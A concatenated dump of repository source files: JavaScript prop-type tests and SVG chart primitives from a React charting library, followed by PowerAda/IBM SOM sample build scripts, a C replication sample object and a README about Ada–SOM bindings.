// Directly lifted from https://github.com/react-bootstrap/react-prop-types
// And then adapted to work with our linter, and sinon sandbox
describe("deprecated", () => {
let sandbox;
const shouldError = () => {
sinon.assert.calledOnce(console.error);
};
const validate = (prop) => {
return CustomPropTypes.deprecated(PropTypes.string, "Read more at link")({
pName: prop
}, "pName", "ComponentName");
};
beforeEach(() => {
sandbox = sinon.sandbox.create();
sandbox.stub(console, "error");
});
afterEach(() => {
console.error.restore();
sandbox.reset();
});
it("Should warn about deprecation and validate OK", () => {
const err = validate("value");
shouldError("`pName` property of `ComponentName1 has been deprecated.\nRead more at link");
expect(err).to.not.be.an.instanceOf(Error);
});
it(`Should warn about deprecation and throw validation error when property
value is not OK`, () => {
const err = validate({});
shouldError("`pName` property of `ComponentName` has been deprecated.\nRead more at link");
expect(err).to.be.an.instanceOf(Error);
expect(err.message).to.include(
"Invalid undefined `pName` of type `object` supplied to `ComponentName`");
});
});
/* eslint-enable no-console */
describe("allOfType", () => {
const validate = function (prop) {
return CustomPropTypes.allOfType(
[CustomPropTypes.nonNegative, CustomPropTypes.integer]
)({testProp: prop}, "testProp", "TestComponent");
};
it("returns an error if the first validator is false", () => {
const result = validate(-1);
expect(result).to.be.an.instanceOf(Error);
expect(result.message).contain(
"`testProp` in `TestComponent` must be non-negative."
);
});
it("returns an error if the second validator is false", () => {
const result = validate(1.3);
expect(result).to.be.an.instanceOf(Error);
expect(result.message).contain(
"`testProp` in `TestComponent` must be an integer."
);
});
it("does not return an error if both validators are true", () => {
const result = validate(3);
expect(result).not.to.be.an.instanceOf(Error);
});
});
describe("nonNegative", () => {
const validate = function (prop) {
return CustomPropTypes.nonNegative({testProp: prop}, "testProp", "TestComponent");
};
it("returns an error for non numeric values", () => {
const result = validate("a");
expect(result).to.be.an.instanceOf(Error);
expect(result.message).contain(
"`string` supplied to `TestComponent`, expected `number`."
);
});
it("returns an error for negative numeric values", () => {
const result = validate(-1);
expect(result).to.be.an.instanceOf(Error);
expect(result.message).to.contain(
"`testProp` in `TestComponent` must be non-negative."
);
});
it("does not return an error for positive numeric values", () => {
const result = validate(1);
expect(result).not.to.be.an.instanceOf(Error);
});
it("does not return an error for zero", () => {
const result = validate(0);
expect(result).not.to.be.an.instanceOf(Error);
});
});
describe("integer", () => {
const validate = function (prop) {
return CustomPropTypes.integer({testProp: prop}, "testProp", "TestComponent");
};
it("returns an error for non numeric values", () => {
const result = validate("a");
expect(result).to.be.an.instanceOf(Error);
expect(result.message).contain(
"`string` supplied to `TestComponent`, expected `number`."
);
});
it("returns an error for non-integer numeric values", () => {
const result = validate(2.4);
expect(result).to.be.an.instanceOf(Error);
expect(result.message).to.contain(
"`testProp` in `TestComponent` must be an integer."
);
});
it("does not return an error for integers", () => {
let result = validate(3);
expect(result).not.to.be.an.instanceOf(Error);
result = validate(-3);
expect(result).not.to.be.an.instanceOf(Error);
result = validate(0);
expect(result).not.to.be.an.instanceOf(Error);
});
});
describe("greaterThanZero", () => {
const validate = function (prop) {
return CustomPropTypes.greaterThanZero({testProp: prop}, "testProp", "TestComponent");
};
it("returns an error for non numeric values", () => {
const result = validate("a");
expect(result).to.be.an.instanceOf(Error);
expect(result.message).contain(
"`string` supplied to `TestComponent`, expected `number`."
);
});
it("returns an error for zero", () => {
const result = validate(0);
expect(result).to.be.an.instanceOf(Error);
expect(result.message).to.contain(
"`testProp` in `TestComponent` must be greater than zero."
);
});
it("returns an error for negative numbers", () => {
const result = validate(-3);
expect(result).to.be.an.instanceOf(Error);
expect(result.message).to.contain(
"`testProp` in `TestComponent` must be greater than zero."
);
});
it("does not return an error for numbers greater than zero", () => {
let result = validate(0.1);
expect(result).not.to.be.an.instanceOf(Error);
result = validate(5);
expect(result).not.to.be.an.instanceOf(Error);
result = validate(1);
expect(result).not.to.be.an.instanceOf(Error);
});
});
describe("domain", () => {
const validate = function (prop) {
return CustomPropTypes.domain({testProp: prop}, "testProp", "TestComponent");
};
it("returns an error for non array values", () => {
const result = validate("a");
expect(result).to.be.an.instanceOf(Error);
expect(result.message).contain(
"`string` supplied to `TestComponent`, expected `array`."
);
});
it("returns an error when the length of the array is not two", () => {
const result = validate([1]);
expect(result).to.be.an.instanceOf(Error);
expect(result.message).contain(
"`testProp` in `TestComponent` must be an array of two unique numeric values."
);
});
it("returns an error when the values of the array are equal", () => {
const result = validate([1, 1]);
expect(result).to.be.an.instanceOf(Error);
expect(result.message).contain(
"`testProp` in `TestComponent` must be an array of two unique numeric values."
);
});
it("does not return an error for two element ascending arrays", () => {
const result = validate([0, 1]);
expect(result).not.to.be.an.instanceOf(Error);
});
it("does not return an error for two element descending arrays", () => {
const result = validate([1, 0]);
expect(result).not.to.be.an.instanceOf(Error);
});
it("does not return an error arrays of dates", () => {
const result = validate([new Date(1980, 1, 1), new Date(1990, 1, 1)]);
expect(result).not.to.be.an.instanceOf(Error);
});
});
describe("scale", () => {
const validate = function (prop) {
return CustomPropTypes.scale({testProp: prop}, "testProp", "TestComponent");
};
it("returns an error for non function values", () => {
const result = validate("a");
expect(result).to.be.an.instanceOf(Error);
expect(result.message).contain(
"`testProp` in `TestComponent` must be a d3 scale."
);
});
it("returns an error when the function does not have a domain, range, and copy methods", () => {
const testFunc = () => {"oops";};
const result = validate(testFunc);
expect(result).to.be.an.instanceOf(Error);
expect(result.message).contain(
"`testProp` in `TestComponent` must be a d3 scale."
);
});
it.skip("does not return an error when the function is a d3 scale", () => {
// const testFunc = d3.scale.linear; TODO: Mock this rather than depending on d3
// const result = validate(testFunc);
// expect(result).not.to.be.an.instanceOf(Error);
});
});
describe("homogeneousArray", () => {
const validate = function (prop) {
return CustomPropTypes.homogeneousArray({testProp: prop}, "testProp", "TestComponent");
};
it("returns an error for non array values", () => {
const result = validate("a");
expect(result).to.be.an.instanceOf(Error);
expect(result.message).contain(
"`string` supplied to `TestComponent`, expected `array`."
);
});
it("returns an error when the array has elements of different types", () => {
const result = validate([1, "a"]);
expect(result).to.be.an.instanceOf(Error);
expect(result.message).contain(
"Expected `testProp` in `TestComponent` to be a homogeneous array, but found " +
"types `Number` and `String`."
);
});
it("does not return an error for empty arrays", () => {
const result = validate([]);
expect(result).not.to.be.an.instanceOf(Error);
});
it("does not return an error for arrays where all elements are the same type", () => {
const result = validate([1, 0]);
expect(result).not.to.be.an.instanceOf(Error);
});
});
describe("matchDataLength", () => {
const validate = function (prop, dataProp) {
const props = {testProp: prop, data: dataProp};
return CustomPropTypes.matchDataLength(props, "testProp", "TestComponent");
};
it("does not return an error when prop is undefined", () => {
expect(validate()).to.not.be.an.instanceOf(Error);
});
it("does not return an error when prop has same length as data", () => {
expect(validate([{}, {}], [1, 2])).to.not.be.an.instanceOf(Error);
});
it("returns an error when prop doesn't have same length as data", () => {
expect(validate([{}], [1, 2]))
.to.be.an.instanceOf(Error).and
.to.have.property("message", "Length of data and testProp arrays must match.");
});
});
});
<file_sep>/src/victory-label/victory-label.js
import React, { PropTypes } from "react";
import { PropTypes as CustomPropTypes, Helpers, Style, Log } from "../victory-util/index";
import { assign, merge, pick } from "lodash";
const defaultStyles = {
fill: "#252525",
fontSize: 14,
fontFamily: "'Gill Sans', 'Gill Sans MT', 'Seravek', 'Trebuchet MS', sans-serif",
stroke: "transparent"
};
export default class VictoryLabel extends React.Component {
static displayName = "VictoryLabel";
static propTypes = {
active: PropTypes.bool,
className: PropTypes.string,
angle: PropTypes.oneOfType([
PropTypes.string,
PropTypes.number
]),
capHeight: PropTypes.oneOfType([
PropTypes.string,
CustomPropTypes.nonNegative,
PropTypes.func
]),
datum: PropTypes.any,
data: PropTypes.array,
index: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),
events: PropTypes.object,
text: PropTypes.oneOfType([
PropTypes.string,
PropTypes.number,
PropTypes.func
]),
lineHeight: PropTypes.oneOfType([
PropTypes.string,
CustomPropTypes.nonNegative,
PropTypes.func
]),
style: PropTypes.object,
textAnchor: PropTypes.oneOfType([
PropTypes.oneOf([
"start",
"middle",
"end",
"inherit"
]),
PropTypes.func
]),
verticalAnchor: PropTypes.oneOfType([
PropTypes.oneOf([
"start",
"middle",
"end"
]),
PropTypes.func
]),
transform: PropTypes.oneOfType([
PropTypes.string,
PropTypes.object,
PropTypes.func
]),
x: PropTypes.number,
y: PropTypes.number,
dx: PropTypes.oneOfType([
PropTypes.number,
PropTypes.string,
PropTypes.func
]),
dy: PropTypes.oneOfType([
PropTypes.number,
PropTypes.string,
PropTypes.func
])
};
static defaultProps = {
capHeight: 0.71, // Magic number from d3.
lineHeight: 1
};
getStyles(props) {
const style = props.style ? merge({}, defaultStyles, props.style) : defaultStyles;
const datum = props.datum || props.data;
const baseStyles = Helpers.evaluateStyle(style, datum, props.active);
return assign({}, baseStyles, {fontSize: this.getFontSize(baseStyles)});
}
getHeight(props, type) {
const datum = props.datum || props.data;
return Helpers.evaluateProp(props[type], datum, props.active);
}
getContent(props) {
if (props.text !== undefined) {
const datum = props.datum || props.data;
const child = Helpers.evaluateProp(props.text, datum, props.active);
return `${child}`.split("\n");
}
return [" "];
}
getDy(props, content, lineHeight) {
const datum = props.datum || props.data;
const dy = props.dy ? Helpers.evaluateProp(props.dy, datum) : 0;
const length = content.length;
const capHeight = this.getHeight(props, "capHeight");
const verticalAnchor = props.verticalAnchor ?
Helpers.evaluateProp(props.verticalAnchor, datum) : "middle";
switch (verticalAnchor) {
case "end":
return dy + capHeight / 2 + (0.5 - length) * lineHeight;
case "middle":
return dy + capHeight / 2 + (0.5 - length / 2) * lineHeight;
default:
return dy + capHeight / 2 + lineHeight / 2;
}
}
getTransform(props) {
const style = this.getStyles(props);
const {datum, x, y} = props;
const angle = props.angle || style.angle;
const transform = props.transform || style.transform;
const transformPart = transform && Helpers.evaluateProp(transform, datum);
const rotatePart = angle && {rotate: [angle, x, y]};
return transformPart || angle ?
Style.toTransformString(transformPart, rotatePart) : undefined;
}
getFontSize(style) {
const baseSize = style && style.fontSize;
if (typeof baseSize === "number") {
return baseSize;
} else if (baseSize === undefined || baseSize === null) {
return defaultStyles.fontSize;
} else if (typeof baseSize === "string") {
const fontSize = +baseSize.replace("px", "");
if (!isNaN(fontSize)) {
return fontSize;
} else {
Log.warn("fontSize should be expressed as a number of pixels");
return defaultStyles.fontSize;
}
}
return defaultStyles.fontSize;
}
// Overridden in victory-core-native
renderElements(props, content) {
const transform = this.getTransform(props);
const textProps = pick(props, ["dx", "dy", "x", "y", "style", "textAnchor", "className"]);
const fontSize = this.getFontSize(props.style);
return (
<text {...textProps}
transform={transform}
{...props.events}
>
{content.map((line, i) => {
const dy = i ? props.lineHeight * fontSize : undefined;
return (
<tspan key={i} x={props.x} dy={dy} dx={props.dx}>
{line}
</tspan>
);
})}
</text>
);
}
render() {
const { datum, events } = this.props;
const style = this.getStyles(this.props);
const lineHeight = this.getHeight(this.props, "lineHeight");
const textAnchor = this.props.textAnchor ?
Helpers.evaluateProp(this.props.textAnchor, datum) : "start";
const content = this.getContent(this.props);
const dx = this.props.dx ? Helpers.evaluateProp(this.props.dx, datum) : 0;
const dy = this.getDy(this.props, content, lineHeight) * style.fontSize;
const labelProps = assign(
{}, this.props, { dy, dx, datum, lineHeight, textAnchor, style }, events
);
return this.renderElements(labelProps, content);
}
}
<file_sep>/src/victory-primitives/slice.js
import React, { PropTypes } from "react";
import Helpers from "../victory-util/helpers";
export default class Slice extends React.Component {
static propTypes = {
active: PropTypes.bool,
className: PropTypes.string,
index: PropTypes.number,
slice: PropTypes.object,
pathFunction: PropTypes.func,
style: PropTypes.object,
datum: PropTypes.object,
data: PropTypes.array,
events: PropTypes.object,
role: PropTypes.string,
shapeRendering: PropTypes.string
};
// Overridden in victory-core-native
renderSlice(path, style, events) {
const { role, shapeRendering, className } = this.props;
return (
<path
d={path}
className={className}
role={role || "presentation"}
style={style}
shapeRendering={shapeRendering || "auto"}
{...events}
/>
);
}
render() {
const { style, events, datum, active, slice } = this.props;
const path = this.props.pathFunction(slice);
const evaluatedStyle = Helpers.evaluateStyle(style, datum, active);
return this.renderSlice(path, evaluatedStyle, events);
}
}
<file_sep>/src/victory-primitives/clip-path.js
import React, { PropTypes } from "react";
import {
PropTypes as CustomPropTypes, Helpers
} from "../victory-util/index";
export default class ClipPath extends React.Component {
static propTypes = {
className: PropTypes.string,
clipId: PropTypes.number,
clipPadding: PropTypes.shape({
top: PropTypes.number,
bottom: PropTypes.number,
left: PropTypes.number,
right: PropTypes.number
}),
clipHeight: CustomPropTypes.nonNegative,
clipWidth: CustomPropTypes.nonNegative,
padding: PropTypes.oneOfType([
PropTypes.number,
PropTypes.shape({
top: PropTypes.number,
bottom: PropTypes.number,
left: PropTypes.number,
right: PropTypes.number
})
]),
translateX: PropTypes.number
};
static defaultProps = {
translateX: 0,
clipPadding: {
top: 5,
bottom: 5,
left: 0,
right: 0
}
}
// Overridden in victory-core-native
renderClipPath(props, id) {
return (
<defs>
<clipPath id={id}>
<rect {...props}/>
</clipPath>
</defs>
);
}
render() {
const {
clipId,
clipWidth,
clipHeight,
translateX,
clipPadding,
className
} = this.props;
const padding = Helpers.getPadding(this.props);
const totalPadding = (side) => {
const total = +padding[side] - (clipPadding[side] || 0);
return typeof total === "number" ? total : 0;
};
const clipProps = {
className,
x: totalPadding("left") + translateX,
y: totalPadding("top"),
width: Math.max(+clipWidth - totalPadding("left") - totalPadding("right"), 0),
height: Math.max(+clipHeight - totalPadding("top") - totalPadding("bottom"), 0)
};
return this.renderClipPath(clipProps, clipId);
}
}
<file_sep>/src/victory-primitives/area.js
import React, { PropTypes } from "react";
import Helpers from "../victory-util/helpers";
import { assign } from "lodash";
import * as d3Shape from "d3-shape";
export default class Area extends React.Component {
static propTypes = {
active: PropTypes.bool,
className: PropTypes.string,
data: PropTypes.array,
events: PropTypes.object,
groupComponent: PropTypes.element,
interpolation: PropTypes.string,
shapeRendering: PropTypes.string,
role: PropTypes.string,
scale: PropTypes.object,
style: PropTypes.object
};
toNewName(interpolation) {
// d3 shape changed the naming scheme for interpolators from "basis" -> "curveBasis" etc.
const capitalize = (s) => s && s[0].toUpperCase() + s.slice(1);
return `curve${capitalize(interpolation)}`;
}
getAreaPath(props) {
const xScale = props.scale.x;
const yScale = props.scale.y;
const areaFunction = d3Shape.area()
.curve(d3Shape[this.toNewName(props.interpolation)])
.x((data) => xScale(data.x1 || data.x))
.y1((data) => yScale(data.y1 || data.y))
.y0((data) => yScale(data.y0));
return areaFunction(props.data);
}
getLinePath(props) {
const xScale = props.scale.x;
const yScale = props.scale.y;
const lineFunction = d3Shape.line()
.curve(d3Shape[this.toNewName(props.interpolation)])
.x((data) => xScale(data.x1 || data.x))
.y((data) => yScale(data.y1));
return lineFunction(props.data);
}
// Overridden in victory-core-native
renderArea(path, style, events) {
const areaStroke = style.stroke ? "none" : style.fill;
const areaStyle = assign({}, style, {stroke: areaStroke});
const { role, shapeRendering, className } = this.props;
return (
<path
key="area"
style={areaStyle}
shapeRendering={shapeRendering || "auto"}
role={role || "presentation"}
d={path}
className={className}
{...events}
/>
);
}
// Overridden in victory-core-native
renderLine(path, style, events) {
if (!style.stroke || style.stroke === "none" || style.stroke === "transparent") {
return undefined;
}
const { role, shapeRendering, className } = this.props;
const lineStyle = assign({}, style, {fill: "none"});
return (
<path
key="area-stroke"
shapeRendering={shapeRendering || "auto"}
style={lineStyle}
role={role || "presentation"}
d={path}
className={className}
{...events}
/>
);
}
render() {
const { events, groupComponent, data, active } = this.props;
const style = Helpers.evaluateStyle(assign({fill: "black"}, this.props.style), data, active);
const area = this.renderArea(this.getAreaPath(this.props), style, events);
const line = this.renderLine(this.getLinePath(this.props), style, events);
return React.cloneElement(groupComponent, {}, area, line);
}
}
<file_sep>/src/victory-primitives/bar.js
import React, { PropTypes } from "react";
import Helpers from "../victory-util/helpers";
import { assign } from "lodash";
export default class Bar extends React.Component {
static propTypes = {
active: PropTypes.bool,
className: PropTypes.string,
datum: PropTypes.object,
events: PropTypes.object,
horizontal: PropTypes.bool,
index: PropTypes.number,
role: PropTypes.string,
scale: PropTypes.object,
shapeRendering: PropTypes.string,
style: PropTypes.object,
x: PropTypes.number,
y: PropTypes.number,
y0: PropTypes.number,
width: PropTypes.number,
padding: PropTypes.oneOfType([
PropTypes.number,
PropTypes.object
]),
data: PropTypes.array
};
getVerticalBarPath(props, width) {
const {x, y0, y} = props;
const size = width / 2;
return `M ${x - size}, ${y0}
L ${x - size}, ${y}
L ${x + size}, ${y}
L ${x + size}, ${y0}
L ${x - size}, ${y0}
z`;
}
getHorizontalBarPath(props, width) {
const {x, y0, y} = props;
const size = width / 2;
return `M ${y0}, ${x - size}
L ${y0}, ${x + size}
L ${y}, ${x + size}
L ${y}, ${x - size}
L ${y0}, ${x - size}
z`;
}
getBarPath(props, width) {
return this.props.horizontal ?
this.getHorizontalBarPath(props, width) : this.getVerticalBarPath(props, width);
}
getBarWidth(props) {
const {style, width, data} = props;
const padding = props.padding.left || props.padding;
const defaultWidth = data.length === 0 ? 8 : (width - 2 * padding) / data.length;
return style && style.width ? style.width : defaultWidth;
}
// Overridden in victory-core-native
renderBar(path, style, events) {
const { role, shapeRendering, className } = this.props;
return (
<path
d={path}
className={className}
style={style}
role={role || "presentation"}
shapeRendering={shapeRendering || "auto"}
{...events}
/>
);
}
render() {
// TODO better bar width calculation
const {datum, active} = this.props;
const barWidth = this.getBarWidth(this.props);
const path = typeof this.props.x === "number" ?
this.getBarPath(this.props, barWidth) : undefined;
const style = Helpers.evaluateStyle(
assign({fill: "black", stroke: "none"}, this.props.style), datum, active
);
return this.renderBar(path, style, this.props.events);
}
}
<file_sep>/test/client/spec/victory-label/victory-label.spec.js
/**
* Client tests
*/
/* global sinon */
import React from "react";
import { shallow, mount } from "enzyme";
import VictoryLabel from "src/victory-label/victory-label";
describe("components/victory-label", () => {
it("has expected content with shallow render", () => {
const wrapper = shallow(
<VictoryLabel text={"such text, wow"}/>
);
const output = wrapper.find("text");
expect(output.html()).to.contain("such text, wow");
});
it("has a transform property that rotates the text to match the labelAngle prop", () => {
const wrapper = shallow(
<VictoryLabel angle={46} text={"such text, wow"}/>
);
const output = wrapper.find("text");
expect(output.prop("transform")).to.contain("rotate(46");
});
it("strips px from fontSize", () => {
const wrapper = shallow(
<VictoryLabel style={{fontSize: "10px"}} text={"such text, wow"}/>
);
const output = wrapper.find("text");
expect(output.prop("style")).to.contain({fontSize: 10});
});
it("uses a default fontSize when an invalid fontSize is given", () => {
const wrapper = shallow(
<VictoryLabel style={{fontSize: "foo"}} text={"such text, wow"}/>
);
const output = wrapper.find("text");
expect(output.prop("style")).to.contain({fontSize: 14});
});
describe("event handling", () => {
it("attaches an to the parent object", () => {
const clickHandler = sinon.spy();
const wrapper = mount(
<VictoryLabel events={{onClick: clickHandler}}/>
);
wrapper.find("text").simulate("click");
expect(clickHandler.called).to.equal(true);
});
});
});
<file_sep>/src/victory-primitives/line.js
import React, { PropTypes } from "react";
import Helpers from "../victory-util/helpers";
import { assign } from "lodash";
export default class Line extends React.Component {
static propTypes = {
active: PropTypes.bool,
className: PropTypes.string,
index: PropTypes.number,
datum: PropTypes.any,
data: PropTypes.array,
x1: PropTypes.number,
x2: PropTypes.number,
y1: PropTypes.number,
y2: PropTypes.number,
style: PropTypes.object,
events: PropTypes.object,
role: PropTypes.string,
shapeRendering: PropTypes.string
};
// Overridden in victory-core-native
renderAxisLine(props, style, events) {
const { role, shapeRendering, className } = this.props;
return (
<line
{...props}
className={className}
style={style}
role={role || "presentation"}
shapeRendering={shapeRendering || "auto"}
vectorEffect="non-scaling-stroke"
{...events}
/>
);
}
render() {
const { x1, x2, y1, y2, events, datum, active} = this.props;
const style = Helpers.evaluateStyle(assign({stroke: "black"}, this.props.style), datum, active);
return this.renderAxisLine({x1, x2, y1, y2}, style, events);
}
}
| f87e882f3c9e1cdd598baf5fc193fc0b9b4cb55f | [
"JavaScript"
] | 10 | JavaScript | nikolenkoanton92/victory-core | bbd60fff4cb1288691c3b23cfa1dfce2b8e78ee9 | e30c3671056b56c3bee47ff5d63791dacde8203d |
refs/heads/master | <file_sep> . /usr/lpp/som/bin/somenv.sh
export LIBPATH=$POWERADA/lib:$LIBPATH:/usr/lib
export SMINCLUDE=$POWERADA/lib:$SMINCLUDE
sc -D__PRIVATE__ -sih:h -u testobj.idl
cc -I. -I/usr/lpp/som/include -g -D_ALL_SOURCE -c testobj.c
sc -sada testobj.idl
cat > alib.list << EOF_EOF
adalib
$POWERADA/lib/som
EOF_EOF
alibinit -F
ada testobj.ada
ada -m adamain.ada -o menudemo -i testobj.o
if [ "$DISPLAY" != "" ]
then
aixterm -e ksh ./run.sh &
else
echo "X-Windows not available; open another window "
echo " and execute run.sh in this directory"
fi
./run.sh
<file_sep>/*
* COMPONENT_NAME: somx
*
* ORIGINS: 27
*
*
* 10H9767, 10H9769 (C) COPYRIGHT International Business Machines Corp. 1992,1994
* All Rights Reserved
* Licensed Materials - Property of IBM
* US Government Users Restricted Rights - Use, duplication or
* disclosure restricted by GSA ADP Schedule Contract with IBM Corp.
*/
/* @(#) somx/testobj.c 2.5 9/20/94 15:13:23 [10/20/94 10:54:26] */
/*
*
* DISCLAIMER OF WARRANTIES.
* The following [enclosed] code is sample code created by IBM
* Corporation. This sample code is not part of any standard or IBM
* product and is provided to you solely for the purpose of assisting
* you in the development of your applications. The code is provided
* "AS IS". IBM MAKES NO WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT
* NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE, REGARDING THE FUNCTION OR PERFORMANCE OF
* THIS CODE. IBM shall not be liable for any damages arising out of
* your use of the sample code, even if they have been advised of the
* possibility of such damages.
*
* DISTRIBUTION.
* This sample code can be freely distributed, copied, altered, and
* incorporated into other software, provided that it bears the above
* Copyright notice and DISCLAIMER intact.
*/
#include <stdlib.h>
#include <string.h>
#define REPTestObj_Class_Source
#include "testobj.ih"
char *myname = "TESTOBJ"; /* Name of the object. */
extern long value_logging; /* Set in client program. */
void printError(Environment *ev)
{
char *exId;
StExcep *params;
if (ev->_major != NO_EXCEPTION) {
exId = somExceptionId(ev);
params = somExceptionValue(ev);
printf("Error Occurred\n");
printf("exception string: %s\n", exId);
printf("major error code: %u\n", ev->_major);
printf("primary error code: %u\n", params->minor);
printf("secondary error code: %u\n", params->completed);
somExceptionFree(ev);
}
}
/*===========================================================================*
* Method: *
* Purpose: Relink object to its peers after it has been unlinked *
* by RepblUninit *
*===========================================================================*/
SOM_Scope void SOMLINK somrPerformRepblInit(REPTestObj somSelf,
Environment *ev)
{
long rc;
REPTestObjData *somThis = REPTestObjGetData(somSelf);
REPTestObjMethodDebug("REPTestObj","somrPerformRepblInit");
rc = _somrRepInit(somSelf,ev, 'o', 'w'); /* Replication Initialization (Writer) */
if (ev->_major == NO_EXCEPTION) /* no error */
somPrintf("Successfully initialized for replication. rc = %d\n", rc);
else {
somPrintf("Initialization for replication failed: rc= %d \n", rc);
printError(ev);
}
}
/*===========================================================================*
* Method: RepblUnInit *
* Purpose: Unlink object from its peers. *
*===========================================================================*/
SOM_Scope void SOMLINK somrPerformRepblUnInit(REPTestObj somSelf,
Environment *ev)
{
REPTestObjData *somThis = REPTestObjGetData(somSelf);
REPTestObjMethodDebug("REPTestObj","somrPerformRepblUnInit");
_somrRepUninit(somSelf, ev); /* unlink this replica from its peers */
printError(ev);
}
/*===========================================================================*
* Method: Init *
* Purpose: Object Initialization *
*===========================================================================*/
SOM_Scope void SOMLINK somInit(REPTestObj somSelf)
{
long rc;
Environment *testobjEnv;
REPTestObjData *somThis = REPTestObjGetData(somSelf);
REPTestObjMethodDebug("REPTestObj","somInit");
parent_SOMRReplicbl_somInit(somSelf); /* Initialize parent */
_mydata = NULL;
testobjEnv = SOM_CreateLocalEnvironment(); /* Create Environment */
_somrSetObjName(somSelf, testobjEnv, myname); /* Set the Name value */
}
/*===========================================================================*
* Method: SetData *
* Purpose: Assign client-passed value to instance variable. *
*===========================================================================*/
SOM_Scope long SOMLINK somrTestSetData(REPTestObj somSelf, Environment *ev,
string s)
{
REPTestObjData *somThis = REPTestObjGetData(somSelf);
REPTestObjMethodDebug("REPTestObj","somrTestSetData");
if (_mydata) SOMFree(_mydata); /* free up existing string */
_mydata = (char*)malloc( strlen(s)+1 );
if ( _mydata ) {
if ( !value_logging ) {
_somrLockNlogOp (somSelf, ev, "REPTestObj", "somrTestSetData", ev, s);
if (ev->_major == NO_EXCEPTION) {
strcpy( _mydata, s );
_somrReleaseNPropagateOperation (somSelf, ev);
return 0;
}
else {
somPrintf("Set Data Failed: LockNlogOp was not successful\n");
printError(ev);
return -1;
}
}
else {
_somrLock( somSelf, ev );
if (ev->_major == NO_EXCEPTION) {
strcpy( _mydata, s );
_somrReleaseNPropagateUpdate( somSelf, ev, "REPTestObj", _mydata, strlen(_mydata)+1, 0 );
return 0;
} /* endif */
else {
somPrintf("Set Data Failed: Lock was not successful\n");
printError(ev);
return -1;
}
}
}
somPrintf("Set Data Failed: Unable to allocate memory\n");
return -1;
}
/*===========================================================================*
* Method: TestGetData *
* Purpose: Return value of instance variable to client. *
*===========================================================================*/
SOM_Scope string SOMLINK somrTestGetData(REPTestObj somSelf,
Environment *ev)
{
REPTestObjData *somThis = REPTestObjGetData(somSelf);
REPTestObjMethodDebug("REPTestObj","somrTestGetData");
return (char*) _mydata;
}
/*===========================================================================*
* Method: Uninit *
* Purpose: Object destructor. *
*===========================================================================*/
SOM_Scope void SOMLINK somUninit(REPTestObj somSelf)
{
REPTestObjData *somThis = REPTestObjGetData(somSelf);
REPTestObjMethodDebug("REPTestObj","somUninit");
if(_mydata) SOMFree(_mydata); /* free any memory occupied by this object. */
parent_SOMRReplicbl_somUninit(somSelf);
}
/*===========================================================================*
* Method: DoDirective *
* Purpose: Process directives from the replication framework. *
*===========================================================================*/
SOM_Scope void SOMLINK somrDoDirective(REPTestObj somSelf, Environment *ev,
string str)
{
REPTestObjData *somThis = REPTestObjGetData(somSelf);
REPTestObjMethodDebug("REPTestObj","somrDoDirective");
somPrintf("Directive: %s\n",str);
parent_SOMRReplicbl_somrDoDirective(somSelf,ev, str);
}
/*===========================================================================*
* Method: ApplyUpdates *
* Purpose: Propagate state changes when value logging is used. *
*===========================================================================*/
SOM_Scope void SOMLINK somrApplyUpdates(REPTestObj somSelf, Environment *ev,
string buf,
long len,
long ObjIntId)
{
REPTestObjData *somThis = REPTestObjGetData(somSelf);
REPTestObjMethodDebug( "REPTestObj", "somrApplyUpdates" );
if (_mydata) SOMFree(_mydata);
_mydata = (char *)SOMMalloc(len);
memcpy(_mydata,buf,len);
}
/*===========================================================================*
* Method: GetState *
* Purpose: Publish current state of master to new shadow objects *
*===========================================================================*/
SOM_Scope void SOMLINK somrGetState(REPTestObj somSelf, Environment *ev,
string* buf)
{
long bufsize;
REPTestObjData *somThis = REPTestObjGetData(somSelf);
REPTestObjMethodDebug("REPTestObj","somrGetState");
bufsize = strlen( _mydata ) + 1 + sizeof( long );
*buf = SOMMalloc( bufsize );
strcpy( (char*)(*buf + sizeof( long )), _mydata );
memcpy( *buf, &bufsize, sizeof( long ) );
}
/*===========================================================================*
* Method: SetState *
* Purpose: Initialize a shadow object with current state of master. *
*===========================================================================*/
SOM_Scope void SOMLINK somrSetState(REPTestObj somSelf, Environment *ev,
string buf)
{
long len;
REPTestObjData *somThis = REPTestObjGetData(somSelf);
REPTestObjMethodDebug("REPTestObj","somrSetState");
if(_mydata) SOMFree(_mydata);
len = *(long *)buf;
buf += sizeof(long);
_mydata = (char *)SOMMalloc(len -sizeof(long));
memcpy(_mydata,buf,len-sizeof(long));
}
<file_sep>rm -f Tablet.scf
if [ "$ADAXLIBXTHOME" = "" -o ! -s $ADAXLIBXTHOME/xt/adalib/.adalib ]
then
echo "repdraw: ADAXLIBXTHOME must point to the AdaXlibXt libraries"
echo " See $POWERADA/../contrib/AdaXlibXt for info"
exit 255
fi
. /usr/lpp/som/bin/somenv.sh
. /usr/lpp/som/samples/somr/somrenv.sh
export LIBPATH=$POWERADA/lib:$LIBPATH:/usr/lib
export SMINCLUDE=$POWERADA/lib:$SMINCLUDE
export SOMIR="/usr/lpp/som/etc/som.ir:./som.ir"
make clean
make
rm -f Tablet.scf
repdraw &
repdraw &
<file_sep>NOTICE: This is old software provided as a courtesy by OC Systems, Inc.
It is without warranty of fitness for any purpose expressed or
implied. Some of the files herein are copyrighted by others including
IBM, Objective Interface Systems (OIS), and Mitre. By using this
software you agree to respect these copyrights.
---------------------------------------------------------------------------
This directory contains source, libraries, demos, and
documentation describing the integration of PowerAda 2.2 and SOM 2.x.
If you would like to learn more about using SOM and CORBA with PowerAda
you should read chapter 17 from the PowerAda 2.2 User's Guide in
doc/ug17som.ps. This is a PostScript document that may be printed or
viewed with a tool like ghostview. You can also use an html browser
such as those used for PowerAda's online help to view the file
html/ug17som.html and those it's linked to.
Most of the demos and documentation assume that the source in the
`bindings' subdirectory is compiled into $POWERADA/lib/som in Ada95
mode, but this is no longer the case. You can build your own
equalivalent library from powerada by creating a working project with
$POWERADA/contrib/som as its parent, Visiting the bindings directory,
selecting all the files there, and `Compile' from the Build menu, then
clicking `Compile'.
<file_sep>/* @(#) somx/animals.c 2.3 1/20/94 10:58:01 [5/15/94 17:56:49] */
/*
* 96F8647, 96F8648, 96F8850 (C) Copyright IBM Corp. 1992, 1994
* All Rights Reserved
* Licensed Materials - Property of IBM
*
* DISCLAIMER OF WARRANTIES.
* The following [enclosed] code is sample code created by IBM
* Corporation. This sample code is not part of any standard or IBM
* product and is provided to you solely for the purpose of assisting
* you in the development of your applications. The code is provided
